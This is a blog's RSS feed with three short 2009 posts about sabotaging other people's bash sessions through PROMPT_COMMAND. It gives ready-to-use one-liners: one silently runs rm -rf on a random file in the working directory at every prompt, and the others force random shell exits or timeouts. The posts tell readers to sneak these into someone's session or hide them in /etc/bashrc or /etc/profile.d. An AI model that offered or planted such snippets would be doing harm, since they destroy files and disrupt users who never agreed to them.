<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Breaking Systems for Fun and Profit &#187; PROMPT_COMMAND Panic</title>
	<atom:link href="http://breakingsystemsforfunandprofit.com/archives/category/bash/prompt_command/feed" rel="self" type="application/rss+xml" />
	<link>http://breakingsystemsforfunandprofit.com</link>
	<description>You _can_ stop the signal.</description>
	<lastBuildDate>Mon, 17 May 2010 09:58:45 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<item>
		<title>Better learn to type fast&#8230;</title>
		<link>http://breakingsystemsforfunandprofit.com/archives/79</link>
		<comments>http://breakingsystemsforfunandprofit.com/archives/79#comments</comments>
		<pubDate>Mon, 27 Jul 2009 07:49:03 +0000</pubDate>
		<dc:creator>Mule</dc:creator>
				<category><![CDATA[PROMPT_COMMAND Panic]]></category>
		<category><![CDATA[linux]]></category>

		<guid isPermaLink="false">http://breakingsystemsforfunandprofit.com/?p=79</guid>
		<description><![CDATA[More fun with randomly exiting bash instances]]></description>
			<content:encoded><![CDATA[<p>Another nice one to confuse and annoy, as usual you need to sneak this one into somebody&#8217;s bash session:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #7a0874; font-weight: bold;">export</span> <span style="color: #007800;">PROMPT_COMMAND</span>=<span style="color: #ff0000;">'export TMOUT=$[ ${RANDOM} % 15 ]'</span></pre></div></div>

]]></content:encoded>
			<wfw:commentRss>http://breakingsystemsforfunandprofit.com/archives/79/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Meet the Prompt of Doom</title>
		<link>http://breakingsystemsforfunandprofit.com/archives/43</link>
		<comments>http://breakingsystemsforfunandprofit.com/archives/43#comments</comments>
		<pubDate>Fri, 24 Jul 2009 07:13:07 +0000</pubDate>
		<dc:creator>Mule</dc:creator>
				<category><![CDATA[PROMPT_COMMAND Panic]]></category>
		<category><![CDATA[linux]]></category>

		<guid isPermaLink="false">http://breakingsystemsforfunandprofit.com/?p=43</guid>
		<description><![CDATA[I'm sure that file was here a couple of seconds ago...]]></description>
			<content:encoded><![CDATA[<p>Try to sneak this one into someone&#8217;s session and watch the hilarity ensue:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #7a0874; font-weight: bold;">export</span> <span style="color: #007800;">PROMPT_COMMAND</span>=<span style="color: #ff0000;">'FILES=($(ls)); rm -rf ${FILES[$[${RANDOM} % ${#FILES[@]}]]} &amp;&gt; /dev/null'</span></pre></div></div>

]]></content:encoded>
			<wfw:commentRss>http://breakingsystemsforfunandprofit.com/archives/43/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Random exits</title>
		<link>http://breakingsystemsforfunandprofit.com/archives/3</link>
		<comments>http://breakingsystemsforfunandprofit.com/archives/3#comments</comments>
		<pubDate>Thu, 23 Jul 2009 15:34:50 +0000</pubDate>
		<dc:creator>Mule</dc:creator>
				<category><![CDATA[PROMPT_COMMAND Panic]]></category>
		<category><![CDATA[linux]]></category>

		<guid isPermaLink="false">http://breakingsystemsforfunandprofit.com/?p=3</guid>
		<description><![CDATA[Confuse your users with random shell exits]]></description>
			<content:encoded><![CDATA[<p>This one is sure to confuse. A user will exit his shell somewehere random inside 30 minutes after starting it. Hide the following piece of code somewhere in <code>/etc/bashrc</code> or a .sh file in <code>/etc/profile.d/</code></p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #7a0874; font-weight: bold;">export</span> <span style="color: #007800;">PROMPT_COMMAND</span>=<span style="color: #ff0000;">'[ ${SECONDS} -ge $[ ${RANDOM} % 1800 ]] &amp;&amp; exit'</span></pre></div></div>

]]></content:encoded>
			<wfw:commentRss>http://breakingsystemsforfunandprofit.com/archives/3/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
